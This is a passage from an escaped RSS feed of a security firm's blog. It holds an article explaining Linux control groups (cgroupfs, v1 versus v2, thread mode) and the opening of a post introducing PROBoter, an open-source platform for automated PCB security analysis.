&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;h2 id="control-groups">Control Groups&lt;/h2>
&lt;p>The goal of &lt;em>cgroups&lt;/em> is to enable fine-grained control over resources consumed by processes additionally to resource monitoring. Before this Linux kernel feature was available, other mechanisms such as &lt;code>nice&lt;/code> or &lt;code>setrlimit&lt;/code> had to be used to replicate a subset of the features that are being offered directly by today&amp;rsquo;s kernels. However, without the ability to group processes and restore previously applied settings this was not as convenient as using control groups is today. Next to namespaces this kernel feature is one of the main primitives that are being used to build container environments. Limiting and monitoring of containers with the control groups described in this section can be applied to processes as well as containers.&lt;/p>
&lt;p>By organizing control groups in a virtual filesystem called &lt;code>cgroupfs&lt;/code>, taking advantage of the hierarchical structure of control groups in implementations becomes possible. Control groups are created, deleted and modified by altering the structure and files of this filesystem. Also, sub-groups are possible that allow the inheritance of &lt;em>cgroup&lt;/em> attributes. This implies that limits in parent groups can also apply in child groups. It&amp;rsquo;s also possible that this affects child processes - for example a &lt;code>fork&lt;/code> call can cause the newly created process to be affected by the same limits as the parent. Please note that, depending on the type of control group that&amp;rsquo;s in use, these aspects may or may not be applicable.&lt;/p>
&lt;p>Consider the following use-case: On Ubuntu &lt;code>systemd&lt;/code> prevents systems from being crashed by fork bombs by automatically creating a default control group for each user. This behavior results from the effect of the &lt;code>.slice&lt;/code> sub-group that&amp;rsquo;s limiting the number of processes a single user may create, preventing users from spawning processes in an infinite loop. By executing &lt;code>systemctl status user-$UID.slice&lt;/code> the current limit is shown.&lt;/p>
&lt;p>Specific parts of the offered control group configuration, like the limit described above, are configurable in a granular way using &lt;em>controllers&lt;/em>. Controller types are also called &lt;em>subsystems&lt;/em> of &lt;em>cgroups&lt;/em> and control the aspect of resource usage that may be limited or monitored. Throughout this chapter, various controller types will be discussed. The kernel code regarding &lt;em>cgroups&lt;/em> is responsible for grouping processes whereas the individual controller implementations takes care of the resource monitoring and limiting functionality itself.&lt;/p>
&lt;p>Modifications to control groups can be applied once the virtual filesystem of the controller to use is mounted. One may choose to mount a single controller type or mount every available type at once. In any case, mounting controllers usually takes place in &lt;code>/sys/fs/cgroup&lt;/code> where at least one folder for each controller is being created by calling &lt;code>mount&lt;/code>. It&amp;rsquo;s important to note that it&amp;rsquo;s not possible to mount an already mounted controller to a different location without also mounting all other controllers that are already mounted to prevent ambiguity. The following figure illustrates the mounting procedure [1]:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro/cg_hier_hub358369ddde69a6ae3495eae93ab91ca_36022_320x0_resize_q95_h2_lanczos.webp">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro/cg_hier_hub358369ddde69a6ae3495eae93ab91ca_36022_640x0_resize_q95_h2_lanczos.webp">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro/cg_hier_hub358369ddde69a6ae3495eae93ab91ca_36022_1280x0_resize_q95_h2_lanczos.webp">
&lt;img
src="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro/cg_hier.webp"
width="1426"
height="508"
alt="The Mounting Procedure"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
The Mounting Procedure&lt;/figcaption>
&lt;/figure>
&lt;p>Initially, all processes belong to the root control group. Creating a new &lt;em>cgroup&lt;/em> is being accomplished by creating a directory for the control group under &lt;code>/sys/fs/cgroup/&amp;lt;controller type&amp;gt;/&amp;lt;cgroup name&amp;gt;&lt;/code>. To configure the newly created &lt;em>cgroup&lt;/em>, two tasks have to be performed:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Adding &lt;em>cgroup&lt;/em> configuration by creating an attribute file with desired values. For example, to set a memory limit of 100MB for all processes in the control group &lt;code>mem&lt;/code>, the file &lt;code>/sys/fs/cgroup/memory/mem/memory.limit_in_bytes&lt;/code> has to be created with content &lt;code>100000000&lt;/code> [2]. For each controller, there exist multiple possible attribute files that can be used to configure a control group.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Moving a process to a control group by writing the target PID to &lt;code>/sys/fs/cgroup/memory/mem/cgroup.procs&lt;/code>.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>The &lt;code>cgroup.procs&lt;/code> file mentioned above may be utilized by any process with write access to the respective file to move another process into a control group. However, when a PID is written to the file, an additional check is being performed to determine whether the writing user is privileged or the same user that&amp;rsquo;s the owner of the process that&amp;rsquo;s about to be moved.&lt;/p>
&lt;p>Control groups can also be nested by creating sub-directories under already existing &lt;em>cgroup&lt;/em> folders. It should be noted that changes made to processes and the control group configuration are &lt;em>not&lt;/em> persistent. After rebooting a machine, the configuration will be lost in case &lt;code>cgconfig&lt;/code> or similar mechanisms have not been used to make the changes persistent. Persistence is achieved by re-applying control group configurations upon startup. Re-mapping processes of a specific user to a control group works by using the daemon &lt;code>cgrulesengd&lt;/code> in combination with a rule set. To remove a &lt;em>cgroup&lt;/em>, the associated directory has to be removed which renders the control group invisible. As soon as all processes of the &lt;em>cgroup&lt;/em> terminate or are considered zombies, the control group will finally be removed by the kernel.&lt;/p>
&lt;h3 id="two-cgroup-versions">Two cgroup versions&lt;/h3>
&lt;p>Due to the way control groups were originally implemented, many inconsistencies were introduced and the code was rather complex in regard to the offered features [3]. Unfortunately, the development of &lt;em>cgroups&lt;/em> was not coordinated in an optimal manner which lead to the problematic first version of control groups. Since Linux &lt;code>4.5&lt;/code>, the &lt;em>cgroups&lt;/em> &lt;code>v2&lt;/code> implementation is available with the intent to replace the original &lt;code>v1&lt;/code> implementation. However, as of now not all resource controllers of the original implementation are available in the newer version. Because of this, a parallel usage of both versions has to be taken into account in case specific &lt;code>v1&lt;/code> features are required. Please note that a single controller can not be used in both &lt;code>v1&lt;/code> and &lt;code>v2&lt;/code> simultaneously. Some major differences between &lt;code>v1&lt;/code> and &lt;code>v2&lt;/code> are listed in the table below:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align:center">v1&lt;/th>
&lt;th style="text-align:center">v2&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align:center">Multiple cgroup hierarchies possible.&lt;/td>
&lt;td style="text-align:center">Only a single, unified hierarchy is allowed.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:center">Distinguishes threads and processes. Threads of a single process can be mapped into different cgroups.&lt;/td>
&lt;td style="text-align:center">No control of single threads. Therefore no &lt;code>tasks&lt;/code> file. Exception: Thread mode (see below).&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:center">Processes can be mapped to cgroups disregarding whether a group is a leaf node of the hierarchy or not.&lt;/td>
&lt;td style="text-align:center">No internal processes rule for non-root cgroups: A group can not have controllers enabled and have child groups and processes mapped to it at the same time.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:center">The release_agent can be used in order to get notified in case a group gets empty.&lt;/td>
&lt;td style="text-align:center">The &lt;code>events&lt;/code> file can be used for the same purpose.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:center">Implements own mount options.&lt;/td>
&lt;td style="text-align:center">Deprecates all &lt;code>v1&lt;/code> mount options.&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td style="text-align:center">Uses &lt;code>/proc/cgroups&lt;/code> to keep track of all controllers supported by the kernel.&lt;/td>
&lt;td style="text-align:center">Uses the &lt;code>cgroup.controllers&lt;/code> file for the same purpose.&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Additionally to the &lt;em>cgroups&lt;/em> file mentioned above, the following files are present to organize the control group functionality:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>&lt;code>/sys/kernel/cgroup/delegate&lt;/code>: Since Linux &lt;code>4.15&lt;/code> it&amp;rsquo;s possible to delegate the management of a control group to an unprivileged user. This file lists all &lt;em>cgroup&lt;/em> version 2 files that the delegatee should own after a delegation process.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>/sys/kernel/cgroup/features&lt;/code>: This file enables user-space applications to list all control group features the kernel supports.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>/proc/&amp;lt;PID&amp;gt;/cgroup&lt;/code>: This contains information on all &lt;em>cgroups&lt;/em> a process resides in.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h4 id="thread-mode">Thread Mode&lt;/h4>
&lt;p>The initial control group implementation allows distributing the threads of a process into individual control groups. At first, this seemed to provide a maximum of flexibility. However, there are cases where this resulted in problems: Threads of a single process are running in the same memory space. When limiting the available memory of one thread, this also affects all other threads that may have other memory restrictions imposed by other &lt;em>cgroup&lt;/em> memberships. Undefined behavior results as multiple settings are active at the same time for the threads of a single process. Also, when moving a process into a control group after starting it, it&amp;rsquo;s often necessary to move all child threads too. A helper utility for this task is &lt;code>cgexec&lt;/code> which automatically moves all threads of the created process in the correct groups.&lt;/p>
&lt;p>After removing the ability to manage control groups on a per-thread basis in &lt;code>v2&lt;/code>, some important use-cases could not be fulfilled anymore. This includes the ability of the &lt;code>cpu&lt;/code> controller to manage threads. Because of that, Linux &lt;code>4.14&lt;/code> added the &lt;em>thread mode&lt;/em> to relax the restrictions imposed by the transition to &lt;code>v2&lt;/code>.&lt;/p>
&lt;p>This new mode allows to use &lt;em>threaded sub-trees&lt;/em>, enabling threads of multiple processes to be mapped into different control groups within such a sub-tree. There are now two types of resource controllers:&lt;/p>
&lt;ul>
&lt;li>Domain: Controllers of this type are not thread aware, meaning that they can only work on process level. All threads of a process have to reside in the same control group. This controller type can not be enabled in threaded sub-trees.&lt;/li>
&lt;li>Threaded: This is the new controller type that allows control group management on a thread-level. It can be used in combination with threaded sub-trees.&lt;/li>
&lt;/ul>
&lt;h2 id="next-post-in-series">Next post in series&lt;/h2>
&lt;ul>
&lt;li>Continue reading the next article in this series &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Block&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">I/O&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;br/> Follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/companies/schutzwerkgmbh/updates"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date.&lt;/li>
&lt;/ul>
&lt;h2 id="credits">Credits&lt;/h2>
&lt;p>&lt;em>Credits: The elaboration and software project associated to this subject are results of a Master&amp;rsquo;s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.&lt;/em>&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">1&lt;/span>
&lt;/a>&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Containers:&lt;/span>
&lt;/a>&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Basic&lt;/span>
&lt;/a>&lt;a
href="https://www.cl.cam.ac.uk/~lc525/files/Linux_Containers.pdf"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Concepts&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://wiki.archlinux.org/index.php/cgroups"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2&lt;/span>
&lt;/a>&lt;a
href="https://wiki.archlinux.org/index.php/cgroups"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://wiki.archlinux.org/index.php/cgroups"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">cgroups&lt;/span>
&lt;/a>&lt;a
href="https://wiki.archlinux.org/index.php/cgroups"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(Arch&lt;/span>
&lt;/a>&lt;a
href="https://wiki.archlinux.org/index.php/cgroups"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Wiki)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="http://man7.org/linux/man-pages/man7/cgroups.7.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">3&lt;/span>
&lt;/a>&lt;a
href="http://man7.org/linux/man-pages/man7/cgroups.7.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="http://man7.org/linux/man-pages/man7/cgroups.7.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="http://man7.org/linux/man-pages/man7/cgroups.7.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">control&lt;/span>
&lt;/a>&lt;a
href="http://man7.org/linux/man-pages/man7/cgroups.7.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">groups&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>Title Image by &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/@adamlowly"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">AdamLowly&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
from &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/photo/no-trespassing-sign-5042833/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Pexels&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(Cropped)&lt;/li>
&lt;/ul></description></item><item><title>PROBoter - A platform for automated PCB analysis</title><link>https://www.schutzwerk.com/en/blog/proboter-01/</link><author>Fabian Weber</author><pubDate>Tue, 24 Nov 2020 09:37:00 +0000</pubDate><category>proboter</category><category>embedded security</category><category>secforcars</category><category>toolrelease</category><description>
&lt;p>This is the first article of a four part blog post series that introduces
this platform. The following topics will be discussed in this series:&lt;/p>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">demo&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">video&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">I:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">A&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">platform&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">automated&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">PCB&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">II:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">hardware&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">platform&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">III:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Visual&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">PCB&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">with&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Neural&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Networks&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">classic&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Computer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Vision&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">algorithms&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">IV:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">Automated&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">voltage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">signal&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">protocol&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">identification&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">V:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">software&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-05/"
class="link-background inline split"
>
&lt;span class="link-label">framework&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul>
&lt;p>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">systems&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
on the Printed Circuit
Board (PCB) level can be a very tedious and time-consuming task. Many steps like visual PCB inspection and reverse engineering of security relevant nets, i.e. electrically connected components, is usually done manually by an embedded security expert. Things get even worse when multiple hardware revisions of the same PCB must be examined.
To support analysts in this field, the aim of the master&amp;rsquo;s thesis
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/PROBoter/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Automatisierung&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">der&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">hardwarenahen&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Sicherheitsanalyse&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">von&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">eingebetteten&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Systemen&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
written at SCHUTZWERK in cooperation with
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.hs-kempten.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Hochschule&lt;/span>
&lt;/a>&lt;a
href="https://www.hs-kempten.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Kempten&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
was to
find new ways to automate as many of the tasks required when
doing PCB security analysis as possible. The result is a hardware and software
platform called the &lt;strong>PROBoter&lt;/strong>. The PROBoter&amp;rsquo;s main features are:&lt;/p>
&lt;ul>
&lt;li>A hardware platform that provides automated probing with &lt;strong>up to four independent probes&lt;/strong>.&lt;/li>
&lt;li>A &lt;strong>camera system&lt;/strong> that is fully integrated in the hardware platform to
generate high resolution PCB images.&lt;/li>
&lt;li>&lt;strong>Simple construction&lt;/strong> of the hardware platform based on standard parts and
3D printed components which facilitates easy and cost-efficient replication.&lt;/li>
&lt;li>&lt;strong>Automated calibration&lt;/strong> of the whole platform to compensate linear errors
related to manufacturing and the assembly process.&lt;/li>
&lt;li>&lt;strong>Automated visual PCB analysis based on Neural Networks&lt;/strong> to localize
Integrated Circuits (ICs) and their corresponding pins on PCB images.&lt;/li>
&lt;li>A &lt;strong>click-and-probe software solution&lt;/strong> that utilizes the hardware platform for
automated PCB image generation, visual analysis and (semi-)automated probing.&lt;/li>
&lt;li>The hardware design and software is &lt;strong>open-source&lt;/strong>. Check out the
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
